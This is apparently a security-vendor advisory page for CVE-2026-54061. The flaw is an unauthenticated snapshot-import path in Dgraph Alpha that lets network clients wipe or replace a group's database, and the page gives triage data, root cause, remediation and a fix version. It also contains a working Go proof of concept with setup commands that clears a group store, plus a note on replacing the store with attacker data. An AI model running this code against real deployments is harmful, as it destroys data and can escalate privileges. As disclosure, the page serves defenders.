Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

CVE-2026-54061 — v25

CRITICAL

CVE-2026-54061 is a critical-severity (CVSS 9.1) Missing Authentication vulnerability in github.com/dgraph-io/dgraph/v25. A fix is available for github.com/dgraph-io/dgraph/v25 — see the affected versions and patch details below.

Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import

Also known asGHSA-rrwh-6jrq-wp5v
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-54061.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk+0.19%
Lower risk than most CVEs46th percentile — riskier than 46% of all scored CVEsHighest risk
0.00%0.36%0.72%1.08%0.4%0.6%Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-54061 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 383,485 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/dgraph-io/dgraph/v25

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port :9080 without authentication or authorization. As a result, an unauthenticated network client can open StreamExtSnapshot and send Badger stream data to the target group’s store. In addition, the receiver calls Prepare() before processing the stream. This operation deletes and replaces the existing DB data.

Root Cause

The root cause is that the RPCs used for external snapshot import are exposed through Alpha’s public gRPC service, but no administrator authorization check is performed before reaching destructive storage operations.

Streaming RPCs such as StreamExtSnapshot do not have a stream interceptor, and the RPC handlers do not perform their own authorization checks. As a result, an unauthenticated client that can reach the public gRPC port can start the import flow. Dgraph then calls Badger’s StreamWriter.Prepare() on the target group store. This operation deletes the existing database, allowing the attacker’s stream to potentially replace the store.

Steps to Reproduce

Preconditions:

  • A throwaway Dgraph Alpha is reachable on its public gRPC port, default :9080
  • Public gRPC mTLS is not enabled
  • No Dgraph ACL token, JWT, or gRPC auth-token metadata is used by the client
  1. Start a throwaway standalone Dgraph instance from the tested build and insert synthetic data.
# Example if the tested source tree is built and tagged locally.
docker run --rm -p 8080:8080 -p 9080:9080 \
  -v "$PWD/dgraph-ext-snapshot-poc:/dgraph" \
  dgraph-standalone:2b6d6328d

For example, insert a harmless record.

curl -sS -X POST "http://127.0.0.1:8080/mutate?commitNow=true" \
  -H "Content-Type: application/rdf" \
  --data-binary $'{ set { _:poc <name> "before-import" . } }'
  1. From an unauthenticated client, open Dgraph.StreamExtSnapshot and select group 1 as the target group.
package main

import (
    "context"
    "fmt"
    "io"
    "log"

    "github.com/dgraph-io/dgo/v250"
    "github.com/dgraph-io/dgo/v250/protos/api"
)

func main() {
    ctx := context.Background()

    // No JWT or auth metadata is attached.
    dg, err := dgo.Open("dgraph://127.0.0.1:9080")
    if err != nil {
        log.Fatal(err)
    }
    defer dg.Close()

    client := dg.GetAPIClients()[0]
    stream, err := client.StreamExtSnapshot(ctx)
    if err != nil {
        log.Fatal(err)
    }

    if err := stream.Send(&api.StreamExtSnapshotRequest{GroupId: 1}); err != nil {
        log.Fatal(err)
    }
    if _, err := stream.Recv(); err != nil {
        log.Fatal(err)
    }

    // Complete an empty external snapshot stream. On the server side,
    // the local subscriber calls StreamWriter.Prepare() before consuming
    // packets from the stream.
    if err := stream.Send(&api.StreamExtSnapshotRequest{
        Pkt: &api.StreamPacket{Done: true},
    }); err != nil {
        log.Fatal(err)
    }

    for {
        resp, err := stream.Recv()
        if err == io.EOF {
            break
        }
        if err != nil {
            log.Fatal(err)
        }
        if resp.GetFinish() {
            fmt.Println("unauthenticated external snapshot stream finished")
            break
        }
    }
}

Observed result:

  • The unauthenticated stream is accepted.
  • No prior UpdateExtSnapshotStreamingState(Start) call is required.
  • worker.runLocalSubscriber(...) calls pstore.NewStreamWriter().Prepare().
  • Badger drops the existing target group DB before the stream completes.
  • The synthetic data that existed before the stream is no longer served from the cleared group store.

The official import client demonstrates the same wire format and call order: dgraph/cmd/dgraphimport/import_client.go opens dgo.Open(...), calls StreamExtSnapshot, sends a first GroupId message, and then streams api.StreamPacket.Data chunks followed by Done: true.

This Done-only PoC demonstrates unauthenticated clear/empty replacement of the selected group store. To additionally demonstrate attacker-controlled non-empty replacement, send valid Badger stream chunks in api.StreamPacket.Data before Done: true.

Impact

An unauthenticated attacker who can reach Alpha’s public gRPC port can clear a selected Dgraph group store or replace it with attacker-supplied Badger stream data. In ACL-enabled deployments, group 1 stores Dgraph’s ACL/internal predicates, so replacing group 1 may also lead to privilege escalation.

Suggested Remediation

  1. Require administrator authorization before UpdateExtSnapshotStreamingState calls worker.ProposeDrain(...).
  2. Require the same authorization at the start of StreamExtSnapshot using stream.Context().
  3. Add a gRPC stream interceptor so streaming RPCs receive the same auth and audit treatment as unary RPCs.
  4. Reject StreamExtSnapshot unless import mode was explicitly armed by an authorized request.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/dgraph-io/dgraph/v25all versions25.3.5go get github.com/dgraph-io/dgraph/v25@v25.3.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/dgraph-io/dgraph/v25, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/dgraph-io/dgraph/v25 to 25.3.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-54061 is resolved across your whole dependency graph.

  3. Workarounds

    Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.

Frequently Asked Questions

## Summary Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthenticated network client can open `StreamExtSnapshot` and send Badger stream data to the target group’s store. In addition, the receiver calls `Prepare()` before processing the stream. This operation deletes and replaces the existing DB data. ## Root Cause The root cause is that the RPCs used for external snapshot import are exposed through Alpha’s public gRPC service, but no administrator authorization check is performed b
O3 Security · Impact-Aware SCA

Is CVE-2026-54061 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-54061: v25 PrivEsc — Fixed in 25.3.5 | O3 Security